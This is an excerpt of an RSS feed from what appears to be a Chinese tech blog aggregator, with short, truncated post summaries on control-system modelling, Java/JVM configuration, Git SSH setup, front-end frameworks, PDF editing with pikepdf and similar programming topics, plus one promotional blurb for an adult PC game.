      <title>控制工程中的数学建模（6）——典型环节的数学模型（之二）</title>
      <link>https://bchobby.github.io/posts/e4f10a8844e047753190dd373f960e9a/</link>
      <pubDate>Wed, 24 Feb 2021 17:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4f10a8844e047753190dd373f960e9a/</guid>
      <description>⑵一阶惯性环节——电加热炉&#xA;电加热炉是常见的热处理设备。如下图所示：&#xA;u为电热丝两端电压， 为炉内温度。电热丝质量为m，比热容为C，传热系数为H，传热面积为A，未加温前炉内温度为 ，加温后的温升为T1 ，电热丝产生热量Q(t)，单位时间内电热丝产生的热量（功率）为P。&#xA;根据热力学原理，有&#xA;①电热丝自身发热比热容方程&#xA;②电热丝向周围传热热阻R=HA，传热功率为&#xA;③根据能量守恒&#xA;④线性化处理&#xA;电热丝功率&#xA;r——电热丝电阻，&#xA;在平衡点 附近满足： ， 为电压变化量，于是&#xA;说明在平衡点附近，P和u近似线性化。&#xA;⑤平衡点微小增量微分方程&#xA;以平衡点为参考点，设温升 ，则有&#xA;物理意义：新增加的功率都用于电热丝自身温度升高和向外传热。&#xA;化简得&#xA;令&#xA;化成一般形式&#xA;⑥拉氏变换&#xA;电加热炉传递函数&#xA;其中， ——温度变化量， ——电压变化量，T——时间常数，K——传递系数。&#xA;这就是典型的一阶惯性环节传递函数。&#xA;一阶惯性环节代表的装置中，只含有一个独立的惯性元件，如本例中的电热丝温度不会突变（功率是有限的），而是需要一定时间过渡；其他惯性元件还有：电容——电压不会突变（充放电电流是有限的），电感——电流不会突变（电压是有限的），质量实体——速度不会突变（作用力是有限的）。</description>
    </item>
    <item>
      <title>mac 下 python 批量删除 PDF 中的某些页面</title>
      <link>https://bchobby.github.io/posts/7c3081926d183a42666f1671e904c35f/</link>
      <pubDate>Wed, 24 Feb 2021 15:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c3081926d183a42666f1671e904c35f/</guid>
      <description>去网上找 python 处理pdf的库，大多都会给你推荐 PyPDF2，其实这个库早已经过时了。&#xA;这里展示下如何用Python3删除pdf文件中的某些页面：&#xA;import pikepdf with pikepdf.open(&#39;input.pdf&#39;) as pdf: num_pages = len(pdf.pages) # 计算 PDF 的页数 del pdf.pages[0] # 删除 PDF 的第一页 pdf.save(&#39;output.pdf&#39;) 这里需要先安装 pikepdf这个库：&#xA;pip install pikepdf 更多信息：https://github.com/pikepdf/pikepdf</description>
    </item>
    <item>
      <title>iview filterable在搜索时，只按照 label 进行搜索</title>
      <link>https://bchobby.github.io/posts/1f1eb01d5442df3432e86ad919757e0a/</link>
      <pubDate>Wed, 24 Feb 2021 13:55:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f1eb01d5442df3432e86ad919757e0a/</guid>
      <description>&amp;lt;Select v-model=&#34;deptId&#34; filterable :only-filter-with-text=&#34;true&#34;// //用来控制是否启用自定义的originValidateOption函数。true代表启用 clearable &amp;gt; &amp;lt;Option v-for=&#34;item in deptList&#34; :value=&#34;item.conCode&#34; :key=&#34;item.conCode&#34; &amp;gt;{{ item.conName }}&amp;lt;/Option &amp;gt; &amp;lt;/Select&amp;gt; iView.Select.props.onlyFilterWithText = { type: Boolean, default: false }; iView.Select.methods.originValidateOption = iView.Select.methods.validateOption; iView.Select.methods.validateOption = function ({children, elm, propsData}) { if (this.onlyFilterWithText) { const textContent = (elm &amp;amp;&amp;amp; elm.textContent) || (children || []).reduce((str, node) =&amp;gt; { const nodeText = node.elm ? node.elm.textContent : node.text; return `${str} ${nodeText}`; }, &#39;&#39;) || &#39;&#39;; const query = this.</description>
    </item>
    <item>
      <title>java tomcat jvm内存_Tomcat中JVM内存溢出及合理配置</title>
      <link>https://bchobby.github.io/posts/e1b6ab67e6e217a0dd8751474a3cf824/</link>
      <pubDate>Wed, 24 Feb 2021 11:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1b6ab67e6e217a0dd8751474a3cf824/</guid>
      <description>from http://blog.csdn.net/ye1992/article/details/9344807&#xA;Tomcat本身不能直接在计算机上运行，需要依赖于硬件基础之上的操作系统和一个Java虚拟机。Tomcat的内存溢出本质就是JVM内存溢出，所以在本文开始时，应该先对Java JVM有关内存方面的知识进行详细介绍。&#xA;一、Java JVM内存介绍&#xA;JVM管理两种类型的内存，堆和非堆。按照官方的说法：“Java 虚拟机具有一个堆，堆是运行时数据区域，所有类实例和数组的内存均从此处分配。堆是在 Java 虚拟机启动时创建的。”“在JVM中堆之外的内存称为非堆内存(Non-heap memory)”。简单来说堆就是Java代码可及的内存，是留给开发人员使用的；非堆就是JVM留给自己用的，所以方法区、JVM内部处理或优化所需的内存(如JIT编译后的代码缓存)、每个类结构(如运行时常数池、字段和方法数据)以及方法和构造方法的代码都在非堆内存中，它和堆不同，运行期内GC不会释放其空间。&#xA;(1). 堆内存分配&#xA;JVM初始分配的内存由-Xms指定，默认是物理内存的1/64；JVM最大分配的内存由-Xmx指 定，默认是物理内存的1/4。默认空余堆内存小于 40%时，JVM就会增大堆直到-Xmx的最大限制；空余堆内存大于70%时，JVM会减少堆直到-Xms的最小限制。因此服务器一般设置-Xms、 -Xmx相等以避免在每次GC 后调整堆的大小。可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行堆内存设置，一般的要将-Xms和-Xmx选项设置为相同，而-Xmn为1/4的-Xmx值，建议堆的最大值设置为可用内存的最大值的80%。&#xA;初始化堆的大小是JVM在启动时向系统申请的内存的大小。一般而言，这个参数不重要。但是有的应用程序在大负载的情况下会急剧地占用更多的内存，此时这个参数就是显得非常重要，如果JVM启动时设置使用的内存比较小而在这种情况下有许多对象进行初始化，JVM就必须重复地增加内存来满足使用。由于这种原因，我们一般把-Xms和-Xmx设为一样大，而堆的最大值受限于系统使用的物理内存。一般使用数据量较大的应用程序会使用持久对象，内存使用有可能迅速地增长。当应用程序需要的内存超出堆的最大值时JVM就会提示内存溢出，并且导致应用服务崩溃。所以，如果Xms超过了Xmx值，或者堆最大值和非堆最大值的总和超过了物理内存或者操作系统的最大限制都会引起服务器启动不起来。&#xA;(2). 非堆内存分配&#xA;也叫永久保存的区域，用于存放Class和Meta信息,Class在被Load的时候被放入该区域。它和存放类实例(Instance)的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对PermGen space进行清理。JVM使用-XX:PermSize设置非堆内存初始值，默认是物理内存的1/64；由XX:MaxPermSize设置最大非堆内存的大小，默认是物理内存的1/4。 GC不会对PermGen space进行清理，所以如果你的APP会LOAD很多CLASS的话,就很可能出现PermGen space错误。&#xA;(3). JVM内存限制(最大值)首先JVM内存限制于实际的最大物理内存(废话！，呵呵)，假设物理内存无限大的话，JVM内存的最大值跟操作系统有很大的关系。简单的说就32位处理器虽然可控内存空间有4GB,但是具体的操作系统会给一个限制，这个限制一般是2GB-3GB(一般来说Windows系统下为1.5G-2G，Linux系统 下为2G-3G)，而64bit以上的处理器就不会有限制了。&#xA;二、三种内存溢出异常介绍&#xA;1. OutOfMemoryError： Java heap space 堆溢出&#xA;内存溢出主要存在问题就是出现在这个情况中。当在JVM中如果98％的时间是用于GC且可用的 Heap size 不足2％的时候将抛出此异常信息。&#xA;2. OutOfMemoryError： PermGen space 非堆溢出(永久保存区域溢出)&#xA;这种错误常见在web服务器对JSP进行pre compile的时候。如果你的WEB APP下都用了大量的第三方jar, 其大小超过了jvm默认的大小(4M)那么就会产生此错误信息了。如果web app用了大量的第三方jar或者应用有太多的class文件而恰好MaxPermSize设置较小，超出了也会导致这块内存的占用过多造成溢出，或者tomcat热部署时侯不会清理前面加载的环境，只会将context更改为新部署的，非堆存的内容就会越来越多。&#xA;3. OutOfMemoryError： unable to create new native thread. 无法创建新的线程&#xA;这种现象比较少见，也比较奇怪，主要是和jvm与系统内存的比例有关。这种怪事是因为JVM已经被系统分配了大量的内存(比如1.5G)，并且它至少要占用可用内存的一半。&#xA;三、Java JVM内存配置&#xA;1. JVM内存分配设置的参数有四个&#xA;-Xmx Java Heap最大值，默认值为物理内存的1/4；</description>
    </item>
    <item>
      <title>Mac中git ssh的配置</title>
      <link>https://bchobby.github.io/posts/8a1a3dd3232f7d27a56f4c1691e4f90d/</link>
      <pubDate>Wed, 24 Feb 2021 10:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a1a3dd3232f7d27a56f4c1691e4f90d/</guid>
      <description>Mac中git ssh的配置（GitLab) 一、查看是否已配置 cd ～/.ssh //进入ssh目录 如果不能进入该目录，说明没生成过，进入步骤二重新配置。&#xA;如果ssh文件夹中有id_rsa，id_rsa.pub，说明之前生成过ssh 秘钥，可以直接使用&#xA;二、重新配置 重新配置，也要在Terminal终端进行：&#xA;1. 配置账户 git config --global user.name &#34;account name&#34; //用户名，建议拼音或英文 git config --global user.email &#34;account email&#34; //邮箱地址 2. 生成秘钥 ssh-keygen -t rsa -C &#34;account email&#34; //上面的邮箱地址 注意这儿的空格 “ssh-keygen” 连续按3次enter，出现下面的截图&#xA;1、2步骤后，就完成了账户创建、秘钥生成，.ssh文件夹下就多了id_rsa（私有秘钥）和id_rsa.pub（公有密钥）,下一步 查看&#xA;3. 查看公有密钥，全部复制，添加到github或gitlab中 cd ~/.ssh ls cat id_rsa.pub 4. GitLab中添加SSH Key 打开GitLab，点击右上角头像，选择“Settings”，然后在左侧导航栏选择“SSH Keys” 添加上述查看到的公有密钥。</description>
    </item>
    <item>
      <title>React</title>
      <link>https://bchobby.github.io/posts/50ce2da63bea6a618e7578fa50690040/</link>
      <pubDate>Wed, 24 Feb 2021 00:00:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50ce2da63bea6a618e7578fa50690040/</guid>
      <description>1811@TOC&#xA;React react 是一个用于构建用户界面的库，但是由于react拥有一系列的生态技术（react-router、react-redux），所以，我们一般也会把 react 当做是一个框架。&#xA;react 是由 facebook 开发的，最早是 facebook 的一个内部项目。原因就是因为该公司对当时市场上所有的 js 框架都不满意，因为当时所有的 js 框架基本都是基于节点的操作。&#xA;特点 声明式设计 : 前端多了一个 vm 层，vm 一变化，v 就自动更新。；高效: 主要是针对对比之前的 jquery 时代，因为不用手动操作节点了。JSX: 在 react 中，通过 JSX 来描述视图。虚拟DOM : 如果每次有一点更新，就立马去操作真实的DOM，这个开销是很大的，所以在 react中，提出了虚拟DOM 的概念，通过 js 对象来描述DOM树结构.单项数据流：state： 驱动应用的数据源.view： 以声明方式将 state 映射到视图actions: 响应在 view 上的用户输入导致的状态变化diff 算法： 当用户对视图进行更新的时候，先去更新虚拟 DOM，这里说的进行更新，不是在原来的树上面进行更新，而是生成一颗新的树，接下来两棵树就可以进行对比，从而找到不一样的地方，进行更新。 react 安装 通过cdn安装： &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;ie=edge&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;!-- 引入 React 核心库 --&amp;gt; &amp;lt;script src=&#34;https://cdn.staticfile.org/react/16.4.0/umd/react.development.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>java cityhash_Java HashMap</title>
      <link>https://bchobby.github.io/posts/ba8e72bc0090dfe254f592288f1c3699/</link>
      <pubDate>Tue, 23 Feb 2021 22:10:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba8e72bc0090dfe254f592288f1c3699/</guid>
      <description>Java HashMap&#xA;你从上一章了解到，ArrayList把数据存储为有序列表，使用索引号(int类型)访问它们。&#xA;而HashMap将数据存储为“键/值”对，通过键(例如：字符串，键类似索引)访问它们。&#xA;HashMap的键值对中，键是一个对象，对应的值也是一个对象，通过键可以访问到值。&#xA;示例&#xA;创建一个名为capitalCities的HashMap对象，键和值都是字符串类型:&#xA;import java.util.HashMap; // 导入HashMap类&#xA;HashMap capitalCities = new HashMap();&#xA;如果你不知道“包”是什么，请参考我们的Java包教程。&#xA;添加项目&#xA;HashMap类有许多方法。例如，要添加项目，可以使用put()方法:&#xA;示例&#xA;// 导入HashMap类&#xA;import java.util.HashMap;&#xA;public class MyClass {&#xA;public static void main(String[] args) {&#xA;// 创建一个名为capitalCities的HashMap对象&#xA;HashMap capitalCities = new HashMap();&#xA;// 添加键和值(Country, City)&#xA;capitalCities.put(&#34;England&#34;, &#34;London&#34;);&#xA;capitalCities.put(&#34;Germany&#34;, &#34;Berlin&#34;);&#xA;capitalCities.put(&#34;Norway&#34;, &#34;Oslo&#34;);&#xA;capitalCities.put(&#34;USA&#34;, &#34;Washington DC&#34;);&#xA;System.out.println(capitalCities);&#xA;}&#xA;}&#xA;访问项目&#xA;要访问HashMap中的值，使用get()方法，传入键:&#xA;示例&#xA;capitalCities.get(&#34;England&#34;);&#xA;删除项目&#xA;要删除一个项目，使用remove()方法，传入键:&#xA;示例&#xA;capitalCities.remove(&#34;England&#34;);&#xA;要删除所有项目，请使用clear()方法:&#xA;示例&#xA;capitalCities.clear();&#xA;HashMap大小&#xA;要知道有多少项，可以使用size()方法:</description>
    </item>
    <item>
      <title>java运行环境32位jre_JAVA环境如何搭建</title>
      <link>https://bchobby.github.io/posts/78c8009fab9aff1e29e995decfa76dce/</link>
      <pubDate>Tue, 23 Feb 2021 21:19:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78c8009fab9aff1e29e995decfa76dce/</guid>
      <description>先安装JDK，然后配置环境(没JDK或者不会下就留邮箱我，发你)&#xA;配置环境步骤如下：&#xA;首先右键点我的电脑,打开属性。然后选择“高级”里面的“环境变量”，在新的打开界面中的系统变量里需要设置三个属性:&#xA;“java_home”、 “path”、“classpath”&#xA;其中在没安装过jdk的环境下，path属性是本来存在的。&#xA;而java_home和classpath是不存在的。&#xA;首先在“Administrator的用户变量”区点“新建”，然后在变量名写上java_home，其含义就是java的安装路径，呵呵，然后在变量值写入刚才安装的路径“C:\Program Files\Java\jdk1。&#xA;6。0_10”(不含引号)&#xA;其次在“系统变量”里面找到path，然后点编辑，(里面已经有很多了，但千万不要把他们给删了！！！！！！)&#xA;path变量的含义就是系统在任何路径下都可以识别java命令，&#xA;在原有的最前面插入“C:\Program Files\Java\jdk1。&#xA;6。0_10\bin;”(不含引号)，此处“C:\Program Files\Java\jdk1。6。0_10”不可替换为“%java_home%”,具体原因我也不清楚&#xA;最后在“系统变量”区点“新建”，在变量名上写classpath,该变量的含义是为java加载类(class或lib)路径，只有类在classpath中，java命令才能识别。&#xA;其值为“。;%java_home%\lib\tools。jar;%java_home%\lib\dt。jar;”(不含引号)&#xA;以上三个变量设置完毕，则按“确定”(别忘了确定！呵呵)直至属性窗口消失，下来是验证看看安装是否成功。&#xA;先打开“开始”-&amp;gt;“运行”，输入“cmd”，进入&#xA;然后打“java -version”，如果安装成功。&#xA;系统会显示java的版本信息。&#xA;注:&#xA;也可不建java_home，但所有出现“%java_home%”的地方都要完整填写“C:\Program Files\Java\jdk1。6。0_10” 。&#xA;全部</description>
    </item>
    <item>
      <title>Webots中构建简单的环境</title>
      <link>https://bchobby.github.io/posts/63c518c02c6da8b46d64eb86202144e7/</link>
      <pubDate>Tue, 23 Feb 2021 19:40:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63c518c02c6da8b46d64eb86202144e7/</guid>
      <description> 一、Webots是什么？ Webots作为一款移动机器人的仿真软件包，它能够快速的原型制作环境。Webots的开源时间比较晚，因此国内关于Webots的学习资料比较少，只能通过官方文档来进行学习，官方文档提供了两个手册，一个是User Guide（用户指南），一个是Reference Manual(参考手册)。Webots由Cyberbotics公司开发，是一款开源的多平台机器人仿真软件，为机器人的建模、编程和仿真提供了完整的开发环境。&#xA;目前，Webots已经开源，支持Windows、Linux、Mac系统。并且支持多种编程语言，包括C、C++、Matlab、Java、Python等。Webots提供了一些现有的机器人，我们也可以根据自己的需求创建自己的机器人。Webots提供一些传感器：GPS、DistanceSensor、Lidar、PositionSensor、Camera等，Webots软件自带一些demo，可以根据需求利用官方提供的demo来进行学习。&#xA;二、创建一个简单的世界 进入Webots需要点击暂停按钮，然后点击Reload World按钮，使Webots世界回到0。Webots的界面分布主要如下：&#xA;创建一个新的项目：&#xA;Wizards -&amp;gt; New Project Directory&#xA;点击Next继续。&#xA;选择合适的路径，点击Next继续。&#xA;Webots中的项目格式为.wbt，给该项目取一个名称，第四个Add a rectangle arena选中为创建完项目，在世界中会有一个方形的区域，点击Next继续。&#xA;点击Finish完成。&#xA;完成以后，界面如下。&#xA;我们没有选中Add a rectangle arena，因此世界中没有对象。场景树中的四个节点为：&#xA;WorldInfo：包含模拟的全局参数。&#xA;Viewpoint：定义主要视点相机参数。&#xA;TexturedBackground：定义场景的背景&#xA;TexturedBackroundLight：定义与上述背景关联的光。&#xA;点击加号按钮或者在场景树中右键选择Add new即可进入Add a node界面来选择添加结点。&#xA;首先我们选择添加一个地板，点击PROTO nodes(Webots Projects)，选择objects，选择floors，选择UnevenTerrain(solid)，最后点击Add即可添加成功。&#xA;右侧有对该节点的介绍文字，点击蓝色部分网站可以进入官网来更加详细的了解该节点的内容。&#xA;进入场景树来对该节点的参数进行修改，调整size来修改大小，Appearance SandyGround来修改floors的颜色。&#xA;然后添加一个e-puck机器人，点击加号按钮或者在场景树中右键选择Add new即可进入Add a node界面来选择添加结点。点击PROTO nodes(Webots Projects)，选择robots，选择gctronic，选择e-puck，选择E-puck(Robot)，最后点击Add即可添加成功。&#xA;双击3D场景中的该机器人，可以看到该机器人的8个距离传感器，左右两个电机，还有摄像机等信息。运动开始时，在该界面可以看到传感器、电机的详细数字显示。该机器人是通过距离传感器来进行避障，左上角方框显示机器人上摄像机拍摄的画面。&#xA;在Webots中构建环境时，一定要记住及时保存！！！&#xA;在Webots中构建环境时，一定要记住及时保存！！！&#xA;在Webots中构建环境时，一定要记住及时保存！！！&#xA;Webots的安装包：&#xA;链接：https://pan.baidu.com/s/1W_K02E373Wk3AttOLRwoBw&#xA;提取码：x51i&#xA;最后欢迎大家关注微信公众号：深度学习与路径规划 </description>
    </item>
    <item>
      <title>安装的java怎么看是多少位的_64位-如何检测安装了哪种JRE-32位与64bi</title>
      <link>https://bchobby.github.io/posts/7c2336b0f71cb324ffd9f5c03f015378/</link>
      <pubDate>Tue, 23 Feb 2021 19:23:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c2336b0f71cb324ffd9f5c03f015378/</guid>
      <description>我正在使用NSIS和Launch4j包装Java桌面应用程序。 因此，我不仅需要检测任何JRE，而且还需要使用它的搜索算法找到一个Launch4j。 唯一有意义的方法是在NSIS安装程序中运行一个简短的Java程序。 这是Java：&#xA;public class DetectJVM {&#xA;private static final String keys [] = {&#xA;&#34;sun.arch.data.model&#34;,&#xA;&#34;com.ibm.vm.bitmode&#34;,&#xA;&#34;os.arch&#34;,&#xA;};&#xA;public static void main (String [] args) {&#xA;boolean print = args.length &amp;gt; 0 &amp;amp;&amp;amp; &#34;-print&#34;.equals(args[0]);&#xA;for (String key : keys ) {&#xA;String property = System.getProperty(key);&#xA;if (print) System.out.println(key + &#34;=&#34; + property);&#xA;if (property != null) {&#xA;int errCode = (property.indexOf(&#34;64&#34;) &amp;gt;= 0) ? 64 : 32;</description>
    </item>
    <item>
      <title>安装win10不求人</title>
      <link>https://bchobby.github.io/posts/8076b2bd3d115709d0ac5aa2935dac8d/</link>
      <pubDate>Tue, 23 Feb 2021 17:20:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8076b2bd3d115709d0ac5aa2935dac8d/</guid>
      <description>自己动手安装win10，超级简单&#xA;1、准备一个大于4G的优盘，格式化为fat32格式&#xA;2、去微软网站下载制作安装工具，用最新版的&#xA;3、执行这个工具，选择制作U盘安装工具，工具会从网上下载最新版本做成启动U盘&#xA;4、把做好的U盘插到，需要安装的电脑里，选择U盘启动&#xA;5、启动后面就是一步步的安装界面，没啥好注意的，放心大胆的试吧，弄错了大不了重来，多弄几次就会了</description>
    </item>
    <item>
      <title>Vue前端之路(一)---入坑前的准备</title>
      <link>https://bchobby.github.io/posts/8034c0b92c6f8d7b36a911ae656297bc/</link>
      <pubDate>Tue, 23 Feb 2021 17:03:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8034c0b92c6f8d7b36a911ae656297bc/</guid>
      <description>目录&#xA;1.序言&#xA;2.准备工作&#xA;2.1.安装运行环境&#xA;2.1.1.nodejs安装（必做）&#xA;2.1.2.npm淘宝源配置（选做）&#xA;2.1.3.vue的安装（必做）&#xA;2.2.vue-cli3脚手快速架构建vue项目&#xA;2.3.开发环境（IDE）的安装&#xA;前端常用插件 (ps: 必备 &amp;gt; 推荐 &amp;gt; 了解)&#xA;1.序言 最近由于工作需要加上没有前端工程师，本着兴趣广泛，开始了小白踏上前端vue入坑之旅，自从出现前后端分离的流行趋势之后，很久不再写js+css了，都说vue算是三大前端框架中（Angular、React、Vue）最简单的，我也亲自尝试了一下，写本文的目的，一个是本着分享，一个是加深一下记忆，写的不好的地方，欢迎留言探讨和指教。&#xA;2.准备工作 2.1.安装运行环境 2.1.1.nodejs安装（必做） 这里采用的是Windows 安装包(.msi)，node-v12.18.3-x64.msi，不一定最新的，最新的请参考http://nodejs.cn/download/&#xA;安装过程不多说了，就是下一步，点点点，个人习惯，安装位置不要放在C盘就是了，检测是否安装成功命令如下：&#xA;node -v或者node --version&#xA;npm -v或者npm --version&#xA;新版的nodejs已经集成了npm，所以之前npm也一并安装好了&#xA;截图如下：&#xA;2.1.2.npm淘宝源配置（选做） 由于我不太喜欢cnpm命令，如果有喜欢的cnpm的，安装命令如下&#xA;npm install -g cnpm --registry=https://registry.npm.taobao.org&#xA;由于node下载第三方依赖包是从国外服务器下载，下载速度慢，永久使用淘宝的镜像源还是有必要的，命令如下：&#xA;npm config set registry https://registry.npm.taobao.org&#xA;查看npm配置的镜像源，命令如下：&#xA;npm config get registry&#xA;截图如下：&#xA;如果想还原成初始的镜像源，命令如下：&#xA;npm config set registry https://registry.npmjs.org/&#xA;2.1.3.vue的安装（必做） 这里采用npm安装vue的方法，Vue.js 提供一个官方命令行工具，可用于快速搭建大型单页应用，这里用的是vue-cli3.0+，命令如下：&#xA;//默认最新版本&#xA;npm install -g @vue/cli&#xA;//指定版本3.6.0&#xA;npm install @vue/cli@3.6.0 -g</description>
    </item>
    <item>
      <title>honeyselect身高补丁_honey select姿势mod最新补丁</title>
      <link>https://bchobby.github.io/posts/bdf53c3a1bdb84a2f5641a802f0958c4/</link>
      <pubDate>Tue, 23 Feb 2021 16:50:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdf53c3a1bdb84a2f5641a802f0958c4/</guid>
      <description>游戏介绍&#xA;honey select姿势mod最新补丁：非常绅士的日系养成游戏，细腻的游戏画质，多种互动式的交流还是非常带感的。你可以去各种地方享受预约的生活，各式各样的服装MOD更加的刺激带感啦！在这里掌通小编带来了honey select游戏下载，下面一起来看看相关的信息介绍。&#xA;honey select游戏介绍：&#xA;你可以简单的对你的角色进行化妆，当然你技术达标也是可以很美的。大量的场景也算是这个版本的特色了，注重了角色皮肤和衣服的质感。&#xA;全新的制作技术，从角色设计，表情，动作以及H场景进行了全部的进化。玩家们将化身绅士来和游戏中的妹纸们来一场热情的恋爱物语~~！&#xA;honey select游戏玩法：&#xA;【安装步骤】&#xA;1、解压缩，解压后路径如“D:\HoneySelect”，路径中请勿含中文字符。&#xA;2、双击“★绿化游戏.bat”，程序将自动安装及。&#xA;3、运行“InitSetting.exe”开始游戏(如果无法启动，请直接运行以下程序)：&#xA;“HoneySelect_32.exe / HoneySelect_64.exe”：游戏本体 启动程序.&#xA;“HoneyStudio_32.exe / HoneyStudio_64.exe”：摄影工作室 启动程序.&#xA;“StudioNEO_32.exe / StudioNEO_64.exe”：NEO摄影工作室 启动程序.&#xA;“HoneySelectVR.exe / HoneySelectVR_Vive.exe”：VR模式 启动程序.&#xA;“BattleArena_32.exe / BattleArena_64.exe”：竞技场特典 启动程序.&#xA;存档位置：存档保存在“游戏安装目录\UserData\save”文件夹下。&#xA;honey select游戏特点：&#xA;妹子会根据你的互动方法改变心情都会有不同表现，心情变化会影响到女孩子对你的反应。&#xA;可以去各种地方享受预约的生活，当然你技术达标也是可以很美的，游戏流畅也是非常赞的。&#xA;更多的泳装款式和其他的衣着可以自由选择，妹子会根据你的互动方法改变心情更加的带感。&#xA;整个游戏玩起来还是非常到位的，分分钟的享受无与伦比的日系养成盛宴，整玩起来超靠谱。&#xA;请记住本站网址 zhangton.com，浏览器点击收藏掌通 ，方便下次再玩。 《honey select姿势mod》app由掌通科技提供，手机访问</description>
    </item>
    <item>
      <title>cookie实例</title>
      <link>https://bchobby.github.io/posts/36504eb3ee5562423d27ac90e0ab9ab5/</link>
      <pubDate>Tue, 23 Feb 2021 16:03:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36504eb3ee5562423d27ac90e0ab9ab5/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;菜鸟教程(runoob.com)&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;head&amp;gt; &amp;lt;script&amp;gt; function setCookie(cname,cvalue,exdays){ var d = new Date(); d.setTime(d.getTime()+(exdays*24*60*60*1000)); var expires = &#34;expires=&#34;+d.toGMTString(); document.cookie = cname+&#34;=&#34;+cvalue+&#34;; &#34;+expires; } function getCookie(cname){ var name = cname + &#34;=&#34;; var ca = document.cookie.split(&#39;;&#39;); for(var i=0; i&amp;lt;ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name)==0) { return c.substring(name.length,c.length); } } return &#34;&#34;; } function checkCookie(){ var user=getCookie(&#34;username&#34;); if (user!=&#34;&#34;){ alert(&#34;欢迎 &#34; + user + &#34;</description>
    </item>
    <item>
      <title>Hutool是一个小而全的Java工具类库</title>
      <link>https://bchobby.github.io/posts/47052fda984af93d095e5cb53624e83c/</link>
      <pubDate>Tue, 23 Feb 2021 16:03:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47052fda984af93d095e5cb53624e83c/</guid>
      <description>1、Hutool简介 Hutool 是一个小而全的 Java 工具类库，通过静态方法封装，降低相关API的学习成本，提高工作效率，使 Java 拥有函数式语言般的优雅，让 Java 语言也可以“甜甜的”。&#xA;Hutool 中的工具方法来自每个用户的精雕细琢，它涵盖了 Java 开发底层代码中的方方面面，它既是大型项目开发中解决小问题的利器，也是小型项目中的效率担当；&#xA;文档&#xA;官方网站&#xA;中文文档&#xA;API文档&#xA;包含组件 一个 Java 基础工具类，对文件、流、加密解密、转码、正则、线程、XML等JDK方法进行封装，组成各种Util工具类，同时提供以下组件：&#xA;模块介绍hutool-aopJDK动态代理封装，提供非IOC下的切面支持hutool-bloomFilter布隆过滤，提供一些Hash算法的布隆过滤hutool-cache简单缓存实现hutool-core核心，包括Bean操作、日期、各种Util等hutool-cron定时任务模块，提供类Crontab表达式的定时任务hutool-crypto加密解密模块，提供对称、非对称和摘要算法封装hutool-dbJDBC封装后的数据操作，基于ActiveRecord思想hutool-dfa基于DFA模型的多关键字查找hutool-extra扩展模块，对第三方封装（模板引擎、邮件、Servlet、二维码、Emoji、FTP、分词等）hutool-http基于HttpUrlConnection的Http客户端封装hutool-log自动识别日志实现的日志门面hutool-script脚本执行封装，例如Javascripthutool-setting功能更强大的Setting配置文件和Properties封装hutool-system系统参数调用封装（JVM信息等）hutool-jsonJSON实现hutool-captcha图片验证码实现hutool-poi针对POI中Excel和Word的封装hutool-socket基于Java的NIO和AIO的Socket封装 可以根据需求对每个模块单独引入，也可以通过引入hutool-all方式引入所有模块。&#xA;2、Hutool安装与使用 安装 使用Maven在pom.xml配置信息文件中，添加相关依赖文件：&#xA;&amp;lt;!-- Hutool工具类库 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cn.hutool&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hutool-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.5.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 判断字符串是否为空 @Test public void strTest() { String name = &#34;pan_junbiao的博客&#34;; //字符串格式化的使用 System.out.println(StrUtil.format(&#34;字符串内容：{}&#34;,name)); //判断字符串是否为空 System.out.println(&#34;字符串是否为空：&#34; + StrUtil.isEmpty(name)); } 执行结果：&#xA;使用md5加密 @Test public void md5Test() { String content = &#34;您好，欢迎访问 pan_junbiao的博客&#34;; String encrypt = SecureUtil.md5(content); System.out.println(&#34;加密前的内容：&#34; + content); System.</description>
    </item>
    <item>
      <title>初学1：SNAP加载哨兵数据</title>
      <link>https://bchobby.github.io/posts/dcedeb80f61bf207ecf33451ec66211c/</link>
      <pubDate>Tue, 23 Feb 2021 09:53:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcedeb80f61bf207ecf33451ec66211c/</guid>
